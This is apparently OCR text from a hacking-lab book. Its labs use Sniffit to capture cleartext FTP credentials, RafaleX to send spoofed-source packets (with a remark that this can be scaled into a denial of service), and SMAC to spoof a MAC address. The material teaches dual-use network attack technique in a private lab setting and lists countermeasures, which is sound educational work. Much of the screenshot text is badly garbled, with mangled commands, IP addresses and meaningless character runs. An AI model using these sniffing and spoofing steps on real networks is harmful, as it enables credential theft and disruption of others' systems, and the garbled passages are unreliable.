The Sniffit application needs to be compiled to the specific machine it is
on by typing ./configure.

B Red Hat Linux - ¥YMware Workstation

File Edit ¥ew %M Team Windows Help

p (=[5}

Help

Eile Edit View Terminal Go
sniffit.0.3.7.beta/sn_data.h
sniffit.0.3.7.beta/BETA-TESTING
sniffit.0.3.7.beta/sn_defines.h
sniffit.0.3.7.beta/sn_generation.c
sniffit.0.3.7.beta/sn_generation.h
sniffit.0.3.7.beta/sn_global.h
sniffit.0.3.7.beta/sn_interface.c
sniffit.0.3.7.beta/sn_interface.h
sniffit.0.3.7.beta/sn_logfile.c
sniffit.0.3.7.beta/sn_logfile.h
sniffit.0.3.7.beta/sn_packets.c
sniffit.0.3.7.beta/sn_packets.h
sniffit.0.3.7.beta/sn_packetstructs.h
sniffit.0.3.7.beta/sn_plugins.h
sniffit.0.3.7.beta/sn_resolv.c
sniffit.0.3.7.beta/sn_resolv.h
sniffit.0.3.7.beta/sn_structs.h
sniffit.0.3.7.beta/sniffit-FAQ
sniffit.0.3.7.beta/sniffit.0.3.7.c
sniffit.0.3.7.beta/sniffit.5
sniffit.0.3.7.beta/sniffit.8
sniffit.0.3.7.beta/sniffit.h

[root@localhost sniffit]# cd sniffit.0.3.7.beta
[root@localhost sniffit.0.3.7.betal# ./cunfigurel

A HgaH L s

Eemw
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The Sniffit application will configure for the specific machine.

Bf Red Hat Linux - YMware Workstation -0 x|

File Edit View Team ‘Windows Help
niy @ & [
& Home |5, Vindowvs 2000 Professional

Eile  Edit
checking whether gcc accepts -g... (cached) yes
checking gee version... 3

checking how to Tun the C preprocessor... gcc -E
checking for malloc.h... yes

checking for sys/ieccom.h... no

checking for sys/sockio.h... no

checking for ANSI ioctl definitions... yes
checking for ether_hostton... yes

View Terminal Go Help

[

checking for strerror... yes
checking packet capture type... linux
checking for net/if_arp.h... yes
checking Linux kermel version... 2

checking for flex... flex
checking for flex 2.4 or higher... yes

checking for bison... bison
checking for ranlib... ranlib

checking if sockaddr struct has sa_len member... no
checking if unaligned accesses fail... no

'Tm: cannot remove ‘met': Is a directory

checking for a BSD compatible install... fusr/bin/install -c
updating cache .././config.cache
creating ./config.status

creating Makefile

[root@localhost sniffit.0.3.7.betal# ||

GRS

Bom

The last step is to create the executable by typing make and pressing Enter.

Red Hat Linus - ¥Mware Workstation =10 x|

File Edit View W¥M Team ‘Windows Help

ulr e |8 R

v

root@localhost:~/tools/sniffit/sniffit.0. 3.7:beta;
Eile Edit View Terminal Go Help

checking whether gecc accepts -g... (cached) yes kad
checking gee wersien... 3

checking how to run the C preprocessor... gec -E
checking for mallec.h... yes

checking for sys/ioccom.h... no

checking for sys/sockio.h... no

checking for ANSI ioctl definitions... yes
checking for ether_hostton... yes

checking for strerror... yes
checking packet capture type... linux
checking for net/if_arp.h... yes
checking Linux kernel version... 2

checking for flex... flex
checking for flex 2.4 or higher... yes

checking for bison... bison
checking for ranlib... ranlib

checking if sockaddr struct has sa_len member... no
checking if unaligned accesses fail... no

Tm: cannot remove met': Is a directory
checking for a BSD compatible install... /usr/bin/install -c
updating cache .././config.cache

creating ./config.status

creating Makefile

[root@localhost sniffit.0.3.7.betal# makel

|

Sun Nov 13
815 PM

Gomk
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The Sniffit application will now be created.

ed Hat Linux - ¥Mware Workstation

]

Fle Edit View W¥M Team ‘Windows Help

nir &

ERElclEE==]

v
Eile Edit View Terminal Go Help

ERROR=1 -DHAVE_NET_IF_ARP_H=1 -c ./bpf_image.c

flex -Ppcap_ -t scanner.l > $$.scanner.c; mv §§.scanner.c scanmer.c

bison -y -p pcap_ -d grammar.y

mv y.tab.c grammar.c

mv y.tab.h tokdefs.h

gcee -02 -I. -Ilinux-include -DHAVE_MALLOC_H=1 -DHAVE_ETHER_HOSTTON=1 -DHAVE_STR.

ERROR=1 -DHAVE_NET_IF_ARP_H=1 -c ./scanner.c

gee -02 -I. -Ilinux-include -DHAVE_MALLOC_H=1 -DHAVE_ETHER_HOSTTON=1 -DHAVE_STR.

ERROR=1 -DHAVE_NET_IF_ARP_H=1 -Dyylval=pcap_lval -c grammar.c

sed -e 's/.*/char pcap_version[] = "&";/' ./VERSION > version.c

gee -02 -I. -Ilinux-include -DHAVE_MALLOC_H=1 -DHAVE_ETHER_HOSTTON=1 -DHAVE_STR

ERROR=1 -DHAVE_NET_IF_ARP _H=1 -c ./version.c

ar rc libpcap.a pcap-linux.o pcap.o inet.o gencode.o optimize.o nametcaddr.o eth)

erent.o savefile.o bpf_filter.o bpf_image.o scanner.o grammar.o version.o

ranlib libpcap.a

make[1]: Leaving directory /root/tools/sniffit/sniffit.0.3.7.beta/1ibpcap’

gee -w -02 -o sniffit sniffit.0.3.7.c sn_packets.o sn_generation.o sn_interface.

o sn_cfgfile.o sn_logfile.o sn_resolv.o -I./libpcap -L./libpcap -lpcap -Incurses
-DHAVE_LIBNCURSES=1 -DHAVE_NCURSES_H=1 -DHAVE_SHMGET=1 -DHAVE_ATEXIT=1 -DSIZEQ

F_UNSIGNED_SHORT_INT=2 -DSIZEOF_UNSIGNED_LONG_INT=4 -DUSE_32_LONG_INT=1 -DLINUX=

1

strip sniffit L

succesfull compilation...

[root@localhost sniffit.0.3.7.betal¥ ||

AU sEs

7 Sun Nov 13
“ 815 PM

Eomk -

To start the Sniffit application, type:
./sniffit -s 172.16.1.45 -x —-a -F ethO

The —s 172.16.1.45 instructs Sniffit to use this IP address as the source.
The —x option instructs Sniffit to display extended packet information.
The —a option is not very well documented in the Sniffit.8 file.

The —F ethO instructs Sniffit to use the Ethernet device 0.

ed Hat Linux - ¥Mware Workstation

C]

File Edit View WM Team ‘Windows Help

nlr &

i S
[ .root@localhost:~/tools/sniffit =0
File Edit View Terminal Go Help
[root@localhost sniffit.0.3.7.betal# ./sniffit —s 172.16.1.45 —x -a —F etho]]

Mon Nov 14
12:05 AM

Somk 4
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The Sniffit application will start.

8 Red Hat Linux - ¥Mware Workst:

File Edt Yew %M Team Windows Help

IR EEETEE
& ] ;

[ — N
|k .root@localhost:~/tools/sniffit/ss
File Edit View Terminal Go Help

Forcing device to etho (user requested)...
Make sure you have read the docs carefully.

supported Network device found. (etho)
sniffit.0.3.7 Beta is up and running.... (172.16.1.45)

[root@localhost sniffit.0.3.7.betal# ./sniffit -s 172.16.1.45 -x -a -F ethO

Mon Nov 14
12:05 AM

GEmw

For a “proof of concept,” in this example, a terminal session was started to

initiate an FTP session.

Red Hat Linux - ¥YMware Workstation

File Edit Wiew ¥M Team ‘indows Help

=100 x|

ny e &6 n

“ root@®localhost:~/tools/: it/sniffit.0.3.7.beta

File Edit View Terminal Go Help

Forcing device to ethO (user requested)...

Make sure you have read the docs carefully.

supported Network device found. (ethO)

Sniffit.0.3.7 Beta is up and running.... (172.16.1.45)

0

hd Joot®localhost:~/tools/sniffit/sniffit.0.3.7.beta

File Edit View Terminal Go Help
[root@localhost sniffit.0.3.7.betal# ftp 1?2.16.1.40.

[root@localhost sniffit.0.3.7.betal# ./sniffit -s 172.16.1.45 -x -a -F etho

Mon Nov 14
12:05 AM

Eemw
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Notice that as soon as the attempt is made to the FTP server, the traffic is

scrolling on the Sniffit screen.

B Red Hat Linux - ¥YMware Workstation o [=] 3

File Edit ¥ew %M Team Windows Help

nfrelgaRlpa®

[ —
+ | root@localhost:~/tools/sniffit/sniffit.0.

File Edit Wiew Terminal Go Help

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21

SEQ (hex): 2DC67ESS FLAGS: —---§—
Packet ID (from IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
E. 5 seayga(P@ @ suy s on R men B oo an noneme msdll s

b Lroot®localhost:~/lools/sniffit/sniffit.0.3.7:heta
File Edit View Terminal Go Help
[root@localhost sniffit.0.3.7.betal# ftp 172.16.1.40

220 win2000s-v Micreosoft FTP Service (Versiom 5.0).
Name (172.16.1.40:root): ||

!
Tcr Pall
SEQ (hex): 2DC67E56 ACK (hex): 2FSED8B4

FLAGS: -A-—--  Window: 16D0
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
E o g W0 0@ oy § oo s oo vl s o sven s Wl o
T S

Bemw

Red Hat

ux - YMware Workstation

=101 %]

File Edit Y¥ew %M Team ‘Windows Help
| &
5

e
¥  root@ localhost:~/tools/sniffit/sniffit.0.3.7.beta
Eile Edit View Terminal Go Help

TCP Packet ID (from IP.port-to_IP.port): 172.16.1.45.37604-172.16.1.40.21

SEQ (hex): 2DCE7E5S FLAGS: - 5-
Packet ID (from IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
E. it codpg (@ @ Doy R W e B oG e s ime el B B ma g alk

. P + .}
b root®localhost:~/tools/sniffit/sniffit.0.3.7. het
Eile Edit View Terminal Ge Help
[root@localhost sniffit.0.3.7.betal# ftp 172.16.1.40
Connected to 172.16.1.40 (172.16.1.40).

1220 win2000s-v Microsoft FTP Service (Version 5.0).

TCP Pal
SEQ|
FLA

PZCKEt Name (172.16.1.40:root): hal:kerl
TCcP {._
SEQ (hex): 2DC67E56 ACK (hex): 2FSED8B4
FLAGS: -A-—--  Window: 16D0
Packet ID (from IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
E: 5 aiSoge®e@ 0@ Syl B R B m R aG e R s anwVak R R R R n oa ad |
P L

Bemw
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The password is entered.

Bl Red Hat Linux - YMware Workstation B oy [=] 3]

File Edit %ew %M Team Windows Help

niyr @ | @R

niffit.0.3.7.beta

Eile Go Help

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
SEQ (hex): 2DC67E56  ACK (hex): 2FSED8B4

FLAGS: -A----  Window: 16D0
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21

B o edpehil S8 oyl o s w8 s e s aedVel & o 8 g el |
I T T

Eile Edit View Terminal Go Help

[root@localhost sniffit.0.3.7.betal# ftp 172.16.1.40
Connected to 172.16.1.40 (172.16.1.40).

220 win2000s-v Microsoft FTP Service (Version 5.0).

Name (172.16.1.40:root): hacker
‘331 Password required for hacker.
| Password:|]

TCP Pall_
SEQ (hex): 2DC67E63  ACK (hex): 2FSEDSD7T
FLAGS: -A----  Window: 16DO
Packet ID (from IP.port-to_IP.pert): 172.16.1.45.37694-172.16.1.40.21
E..4g,8.@.v....-...0(.>..-.=~e/f.......X.
PRI P -

1

&bz e

Eoml s
At this point, the user is logged into the FTP server.
Bl Red Hat Linux - ¥Mware Workstation =1al=]

File Edit Y¥ew %M Team Windows Help

MR EENEEED

(3 Red Hat Linux

e
%  root® localhost:~/tools/sniffit/sniffit.0.3.7.beta

Eile Edit View Terminal Go Help
TCP Packet ID (from IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
SEQ (hex): 2DC67E72  ACK (hex): 2FSEDSF3

FLAGS: -A----  Window: 16D0
Packet ID (from IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
E..4g.808 .8 . v....-cvoo>»ao=v=x/.,

L+ (X . LA

root® localhost:~/tools/sniffit/sniffit-0.3.7:beta;
Eile Edit View Terminal Ge Help
Connected to 172.16.1.40 (172.16.1.40).

220 win2000s-v Microsoft FTP Service (Version 5.0).
Name (172.16.1.40:root): hacker

v

P:ckst 331 Password required for hacker.

" ’||password:

‘||230 User hacker logged in.
Remote system type is Windows_NT.

ree pallfP

SEQ (hex): 2DC67E78  ACK (hex): 2FS8EDSOF

FLAGS: -A----  Window: 16D0
Packet ID (from IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
E..4g0@.@.y....-...0.>..-.~x/.

S+ (N . AL

Bomw
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The command is to type quit to exit the FIP connection.

Red Hat Linux - YMware Workstation B oy [=] 3]

File  Edit

iew Team Windows  Help

% root@ localhost:: /sniffit/sniffit.0.3.7.beta
Eile Edit View Terminal Go Help
TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21 Z

SEQ (hex): 2DC67E72  ACK (hex): 2FSEDSF3
FLAGS: -A----  Window: 16D0
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
E: it cudpg oo ol oy s oame oo o s o ogwen mesedegll BoRomononomd L.

Eile Edit View Terminal Ge Help
Connected to 172.16.1.40 (172.16.1.40).
220 win2000s-v Microsoft FTP Service (Version 5.0).

Pﬂclz Name (172.16.1.40:root): hacker
E. . 331 Password required for hacker.
Password:
“||230 User hacker logged in.
Remote system type is Windows_NT.
R i |
SEQ (hex): 2DC67ET8  ACK (hex): 2FSEDSOF
FLAGS: -A----  Window: 16DO
Packet ID (from IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21

Sdge0-@ w0 iy 0o oo o el SRR I See el MM 0 0

Eemw

The Sniffit output is displayed on the screen. Notice the clear text FTP
command of QUIT is displayed on the screen. If you scroll up on the output,
you will also see the clear-text username and password as well.

To stop the Sniffit application, hold down the Ctrl key and press the C key.

p (=T}

B Red Hat Linux - ¥Mware Workstation

File Edt Yew %M Team ‘Windows Help

nhre|oEpea snE

v

File Edit Wiew Terminal Go Help
SEQ (hex): 2DC67E78  ACK (hex): 2FSEDIOF [~]

FLAGS: -AP—--  Window: 16DO0
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
E oo L@ @ oW i e e st e s el el wn e @i Bl e es enoecoen e en e s
....... sl s s R QUUATE i

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
SEQ (hex): 2DC67ETE  ACK (hex): 2FSEDS16

FLAGS: -A--—-- Window: 16DO
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
B o S0 ER20A a8 N e oce o s o sold s e e asmepedl se s ose ax s e s S A
....... k) oo el g

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21
SEQ (hex): 2DC67E7E  ACK (hex): 2FSEDS17
FLAGS: -A-—-F  Window: 16DO0

Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37694-172.16.1.40.21

E . SOEBLE 8 O o e e ne ex soilE s ee mered ol ep e ee e me owe w 3 .

Gracefull shutdown...
[root@localhost sniffit.0.3.7.betal#

Mon Nov 14
12:07 AM

Eemw
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Sniffit also allows for the redirection of the output to a log file instead of
displaying the output on the screen. This is done with the syntax of:

./sniffit -s 172.16.1.45 -x —-a -F eth0 > sniffit.log
This will save all output into a log file named sniffit.log.

*Note: Notice when you hit the Enter key the cursor will not drop to a new line
until you stop the application.

8] Reud Hot Linwss - VMware Worksbation

[ETene | [ easws oo protessieod | (OO (i FAd e U D Serar | [ Windows 2000 Server | (i Weadie

—

b oot localho st ool s snifflysnifiLo.3.7.beta

Elle  Edt  Mew Termind  Go  Help

[rootelocalhost sniffit.0.3.7.betal? ./sniffit -s 172.16.1.45 -x -a -F etho »

irrie. logl]

AR HgRFE

Bome -

The identical FTP connection is made as above.

18 e Hal Linaiss - Wielware Workalation = =10

Fin Edt WView WM Tnam
Uy ®

[Fene | [ easws oo protesseod | (DTN (i FAA e Lo D Senar | [ indows 000 Sever | (i Weadee

e
¥ ot localhost-/wols/sniifiysniffito.3.7.bem
Elle  Edt  Mew Termind  Go  Help

[reotelocalhost sniffit.0.3.7.betal? ./sniffit -s 172.16.1.45 -x -a -F eth > sn[*

i, log[|

Bd ool localho st loolssnilfifnoillilo 2.7 et
Elle  Edit  wWiew JTeminal Go Help
Connected to 172.16.1.40 (172.16.1.40). [«
220 win20U0s-v Microseft FI¥ Service (Version 5.0). |
Mame (172.16.1.40:root): hacker

331 Password reguired for hacker.

Password:

230 User hacker logged in.

Hemote system type is Windows NIL.

frpe quit]]

a

Bomei
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To stop the Sniffit application hold down the Ctrl key and press the C key.

18 Red Hot Linws - Wtware WarksLation

Fin Edt View WM Tram

G

A eme | [ Wodgws J000 Protessional Wy i el Lo D Server | |5 Vndows 2000 Server | [ Wnddws

—-—
b oot localho st ool s snifflysnifiLo.3.7.beta
Elle  Edt  Mew Termind  Go  Help

[rootelocalhost sniffit.0.3.7.betal# ./sniffit -s 172.16.1.45 -x -a -F etho
ifrit. log

[rootélocalhost sniffit.0.3.7.betal® I

a

2= LTI
To read the sniffit.log file, type:

cat sniffit.log |more

18 Red Hot Linws - Wtware WarksLation

U 3 = tat Lines [ T e e T
—

b oot localho st ool s snifflysnifiLo.3.7.beta

Eile  Edit View Go  Help

[rootelocalhost sniffit.0.3.7.betal# ./sniffit -s 172.16.1.45 -x -a -F etho
ifrit. log

[rootelocalhost sniffit.0.3.7.betals cat sniffir.log Imrq

R T

12:09 AM

Bomei
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The contents of the file will be displayed one page at a time. By pressing
the spacebar you can scroll through the file page by page.
loix

File Edit ¥ew %M Team Windows Help

nle &

5y Red Hat Linux

[ =
root@localhost:~/tools/sniffit/sniffit.0. 3.7.beta
File Edit View Terminal Go Help
[root@localhost sniffit.0.3.7.betal# cat sniffit.log |more [+]
Forcing device to eth0 (user requested)...
Make sure you have read the docs carefully.
Supported Network device found. (eth0)
Sniffit.0.3.7 Beta is up and running.... (172.16.1.45)

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21

SEQ (hex): 3BSF3D3F FLAGS: —---S-
Packet ID (from IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
E..<IN@.@. - A 2 T
L+ tqg.

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
SEQ (hex): 3BSF3D40  ACK (hex): 33073075

FLAGS: -A-—--  Window: 16DO0
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
E..a2I0a@.@. = .(.n..;_=@3.0u....1!<
sk £

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21

Mon Nov 14
12:11 AM

EEmw

of hacker is shown.

Red Hat Linux - YMware Workstation

p (=T}

File Edt Yew %M Team ‘Windows Help

nie e

i S —
root@localhost:~/tools/sniffit/sniffit.0.3.7.beta

File Edit Wiew Terminal Go Help
TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21 [#]
SEQ (hex): 3B5F3D40  ACK (hex): 330730AA

v

FLAGS: -A-—--  Window: 16D0
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
E: o g dePe@ @ ool e Bt GRS TR - G R |
[ i | L

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
SEQ (hex): 3BSF3D40  ACK (hex): 330730AA

FLAGS: -AP---  Window: 16DO
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
B =rmAd 8 oz eas - 1 =63 .0.
S+ul .U H.

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
SEQ (hex): 3BSF3D4D  ACK (hex): 330730CD

FLAGS: -A-—--  Window: 16DO
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
1R B 0. R T T R (i I T - i RS ES |

c4+ut

Mon Nov 14
12:11 AM

Eemw
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By continuing to scroll through the file, the plain-text password of zerocool
is displayed.

B Red Hat Linux - ¥™Mware Workstation . e X
8 Red & o

File Edt ¥ew %M Team ‘Windows Help

v

Eile Edit View Terminal Go Help

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
SEQ (hex): 3BSF3D4D  ACK (hex): 330730CD

FLAGS: -AP---  Window: 16DO
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
E..CIsa.a..... (.n B =M32.0..... w.
....... + V. H 1

TCP Packet ID (from_TP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
SEQ (hex): 3B5F3D5C  ACK (hex): 330730E9

FLAGS: -A----  Window: 16D0
Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
5 7 Ty = i i G T i o oS o o s o e
....... + v H

TCP Packet ID (from_IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
SEQ (hex): 3B5F3D5C  ACK (hex): 330730E9

FLAGS: -AP---  Window: 16D0
Packet ID (from IP.port-to_IP.port): 172.16.1.45.37742-172.16.1.40.21
R 1 I O I TN (P, g
oz |

Q@B 1 oty
= I

*Note: Keep in mind that the traffic you see is completely dependent upon the
environment the computer “sniffing” resides in. For example, if the network
link you are using is connected to a network hub, you will be able to see all
traffic going through that hub to all other computers on that hub. If, however,
the network link you are using is connected to a switch, you will only be
able to see traffic specifically destined to your connection. There is a way to
“sniff” traffic on a switch to show all traffic to a specific or every computer
on a switch, which will be covered in Chapter 9.
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Lab 48: Spoofing IP Addresses
Send Packets via False IP Address: RafaleX

Prerequisites: None

Countermeasures: Firewall filters, vendor patches where applicable

Description: The RafaleX application allows for the creation of custom
IP packets. The packet is very customizable and allows for the spoofing
of the IP, setting the flags, number of packets, and so forth.

Procedure: Start the application, set the parameters, and execute.

Double-click the RafaleX icon to start the application.

*Note: RafaleX is becoming hard to locate on the Internet as it appears it is now called
Engage Packet Builder. I found that Engage has difficulties with the wireless
card in my virtual computer so this lab was run with the RafaleX application.
The Ethereal sniffer (Lab 41) was used to validate the results of this lab.

=y

Fafalery

From the RafaleX screen set the Network interface to the desired Network
Interface Card (NIC).

Bl Windows 2000 Professional - ¥Mware Workstation

File Edit View VM Team ‘wWindows Help

nlre|genklo

Rafale X

File Tool Modules Managers Options Language Help
EEEE- NI
Metwork interface : | FEINEPRIRRINN ~ TCP | UDP | e |

[ Set as source [P [ Set as destination IP e l—n Acknowledge : [0

rLIF]

o Speoiy dataffset (] [ [bytes)
Destnation s [ P [T {
Specily header siee (] [20 (bytes) Window: [0 Urgent: [0
Typeoiserice: [Foutre 7] [T O Spesiy TEP chasksum

Specily identification (] |0 Data: | :I

Fragmentalion: DF : [0 May Fragment =]
MF: |0 Last Fragment ¥ [ Commands ]
ot [ 1L ] (Nbolpackels T = Packetype: [TCF = SEND ‘

Piotosal: [5: TCP = [ oot |
Speeify checksum (1 [ ’VI [o) [[Punscart

U Status © [ Ready,

Histart| | 1] & =1 H (4T Downlosdslrafale x v1.1 |[ERafale GoEERE  s0zpm
Eomk
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In this example, the Source IP of the packets to be sent is set to 10.10.10.10
with the source address of port 123. According to Internet etiquette, this should

never be able to route on the Internet as the 10.x.x.x range is reserved for
private addressing.

~ware Waekstation

Hemodkinietace: [2- 17216000 =] (0] | |
O St it pouwce i 0 St e destination IP s " Ack 5 '-I—"
P}

Eouce P: [1070.1010 Pot: [133 Specdy datacllzet [ [T flytes)
Destinaton P | Pea: [T i b

Speciy hasche e [ [ Pt
Tpeotseven: [Rosee <]
Specty deribeaton (] [T
DF: [0: Mag F: =
8 rer— R
ot [T N EE | Nootpackers: [T =] Packeinpe: [T =]
i e

!| U[nuum”

MRstort||| 1) & S || Scioownonsipatale 1 v1.1 1_1;' Rafale X

Eoasi -

Set the destination IP to the target address. In this example it is 172.16.1.40.
Set the Destination port to port 21.

e we | |
Seqmnce: 0 Ackrowedon: [0
Specly deta clliet [ [T fistes]
Spocty hastn e [ 77 Ptes]) Wi T
S | [ 0 Sty TP checham
Specty deribeaton (] [T
OF: [ e <
L weorem— | | Conmends |
T S | I""’"""'m Packatypn: [7CP 3]

[ serd |

(&) [_Aun seaiet |

dstont| | 4 B | 'Mpﬂl-li_iﬁ' Rafale X

Eoas -
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The SYN and ACK flags were set for each packet.
*Note: The Ethernet communications process requires a three-way handshake:

B SYN: Synchronize
B SYN-ACK: Synchronize-Acknowledge
B ACK: Acknowledge

When a computer receives an uninitiated SYN-ACK packet its response is
to send a RST (Reset) packet.

] Windews 2000 Profrssinnal - Vware Workstation

Fe E® Vew WM Team Windows Hel

B njreaBabag e

| AR
Hemodkintstscs: [2 17216040 =] (9] | we |
Ds:"‘m" 150 dwiskin Seqwnce o Ackrowedon: [0
'P;lwur: [iatnTg Pot: 127 Specly deta clliet [ [T fistes]
GasnsientP: [F16180 P[5 || el
Spocty hasn som [ [ Ptes])
Tpeotseven: [Fosre 7]
Specty deribeaton (] [T
OF: [0 Mo -
U [eepr— | | Conmands |
o = e U
Pooce: [FTCF 3| [sewt]
svtrammm O (O (Fovsewer)

Astan|| | 1) & <3 || Sicipownioadsyotale xvi.1 1_13‘.' Rafle X

Eo@s -

The number of packets was set to 100.

L& B2 S
Hemodkintstscs: [2 17216040 =] (9] | we |
DPS.“M' 0 St e dastination 1P s : h Ackrowiedzn - |I1—
! SoucelP: [10TI0T0— Pot: [13 Spmcky data cleet O [T Rt
pusesnp [P0 | () ) (i) () () ()
Spocty ok sow [ [ yte) = b T e
Tpeotserven: [aaee =] [T O Speciy TCP checksum
Soeciy derttcaion (1 [T Oota [ =]
OF:[o M ¥
{78 (e— | Comemands |
Mo (5] potaoe: [ ]

[ serd |

(&) [_Aun seaiet |

Mistant] | () & %3 || cioowoaiyaro s 1.1 |[EPRorole x [ EEE nem
Eomvi -
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Click the Send button to send the packets to the target. The Status area
at the bottom left of the application will tell you that the packets were sent.

B Windows 2000 Professional - ¥Mware Workstation P =] ]

File Edit  Yiew WM Team Windows Help
& B6R O

)] & Windows 2000 Professional [} Hat Lintx

Ral

File Tools Modules Managers Options Language Help
Sk BT HER S 2
Network interface: [2 17216143 TCP | we | ewe |
[ Set as source IP [ Set as destination [P GrmitEn ln— P ln—
FLIP ]
Seuce IP: [iD1010.10 Port: [123 Speclydataclfset (1[I (bytes]
Destination [P+ [17216.1.40 Pon: [21 s )
i & ’V |
Specily header size [ [70 (bytes) indow: [T Utz [T
Type of service : [Routine - [7" 03 Spect TP shecksum
Speciy identiication [] [0 Data: | =
Fragmertation: DF: |0 May Fragment =
MF: [0 Last Fragment = [ Commands |
N e {Nnnrpackets 100 =] Packettype: [TCP = SEND ‘

Pratocal: |6 TCP 3 [ Seript |
“ [ [_punscrer ‘

Speciy checksum [ [0

Status ; | Job done : 100 packets sent

ifhstart || [f] @& 50 || ucDownoersyafols x vt 1 | [EFRafale x G E@eREr sueem

Eemw 4

From the target, the Ethereal sniffer was running while the “spoofed”
RafaleX packets were sent to it. As expected the server received each packet
and identified that:

B The source of the packet is coming from 10.10.10.10 on port 123.
B The source packet has both the SYN and ACK flags set.

8] Windows 2000 Server - ¥Mware Workstation =10/ x|

Fie FEdt View VM Team ‘Windows Help

LR =]

(3 Windows 2000 Server

@ (untitled) - Ethereal
Fle Edt Miew Go Capture fAnalyze Statistics Help

BEgee ol x®@2 Re»0FL EHEZ AQAR
M ;I Expression.. |glaav | mjplyl

Ho. Time Source Destination Pratocal | Info

q | |
O Flags: Ox0012 (5YN, ACK) -l
0% g = Congestion window Reduced (CWR): Not set
L0 ECH-Echo: Not set
- Urgent: not set
acknowledgment: set
Push: NOT set
RESEL: NOT set
..... = Synh: set
....... 0 = Fin: Mot set
window size: 0
checksum: oxedfs [correct] _
@ [SEQ/ACK analysis] ~l
< | i
OO0 00 OC 29 a3 ed 40 00 Oc 20 b6 40 05 08 00 45 00
0010 00 25 10 3e 00 Q0 80 06 69 45 Oa 0a 0a Da ac 10
0020 01 28 00 7b 00 15 00 00 00 00 00 00 00 00 50 12
0030 00 00 ed f5 00 00 0O 00 0O 00 QO 00
File: "CAADOCUMET|ADMINI~ 1L OCALS~ 1\ Temphether¥Xa00606" 16| [F: 221 i 221 M; 0 Draps: 0
Astort]|| (A @ 1 8@ ' © ||[@wntitied) - Ethereal B aierM

=10
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By scrolling to the next packet in the series:

B The target is responding to the IP address of 10.10.10.10.

B The target is setting the RST flag on each packet.

Bl Windows 2000 Server - ¥Mware Workstation

=10l

Fle Edit View WM Team ‘Windows Help
nle & |@ &R Mml=]

Fle Edt Wew G0 Cepurs Anslyze  Stafistics Help

BEged cHl 8 Re»2FL[EE QAQ

Fiker: |

e e

Mo, Time: saurce * Destination

Protocal | Info

Header Tlength: 20 bytes
= Flags: 0x0004 (RST)
o

ECnM-Echo: Mot set
Urgent: Mot set

Fush: NoT set
Reset: Set

Syn: Not set
Fin: not set

window size: 0
Checksum: Oxee0d4 [carrect]

Acknowledgment : Not set

....... = congestion window Reduced (CwRJ: MOT set

Ll

0030 00 00 ee 04 00 QO

0000 00 Of b 1f 5C ca 00 Oc 25 as ed 40 08 00 45 00
0010 00 28 Oe 51 00 00 B0 06 6b 33 ac 10 01 28 0a Oa
0020 0a 0a 00 15 00 7b 0O 00 00 00 OO0 00 00 00 50 04

File: "C:\DOCUME~11ADMINI~ 1\LOCALS~1\TempletherXK#a00688" 161 [P: 221 D: 221 M: 0 Drops: 0

dhstare| | (] @ =2 8@ 1 @ ||[@ untitied) - Ethereal

(B sam

Eome

*Note: The RafaleX application is an excellent way to “spoof” custom packets.
Attackers can place a valid IP address as the source of the packet and the
target will have to attempt to respond to the spoofed address. By sending
hundreds of thousands of packets in this manner, an attacker can create a
Denial of Service attack against a target (refer to Chapter 11).



268 ®W Practical Hacking Techniques and Countermeasures

Lab 49: Spoofing MAC Addresses
Send Packets via False MAC Address: SMAC

Prerequisites: None

Countermeasures: Firewall filters, vendor patches where applicable

Description: Spoofed Media Access Control (SMAC) allows you to “spoot”
the Media Access Control (MAC) address of the computer it is installed
on. This change is not performed at the hardware layer but at the
software layer and even sustains reboots. This lab uses version 1.1.
Version 1.2 and up require purchase.

Procedure: Install, set the parameters, and reboot.

Double-click the SMAC installation icon.

The SMAC self-installation will start. Accept the default directory for the
extraction of the files or choose another by clicking Browse. Click Unzip.

':Q:'!Windl]ws 2000 Professional - ¥YMware Workstation
File Edit View WM Team ‘Windows Help
LR RicReellei= =]

dHat Linux | [y Red Hat Li

WinZip Self-Extractor - SMAC v1.1.exe! [

To unzip al fles in SMA v1.1.242 to the specified _
S Btk e
Run WinZip
Unzip to folder:
c:itemp] Browse. Close
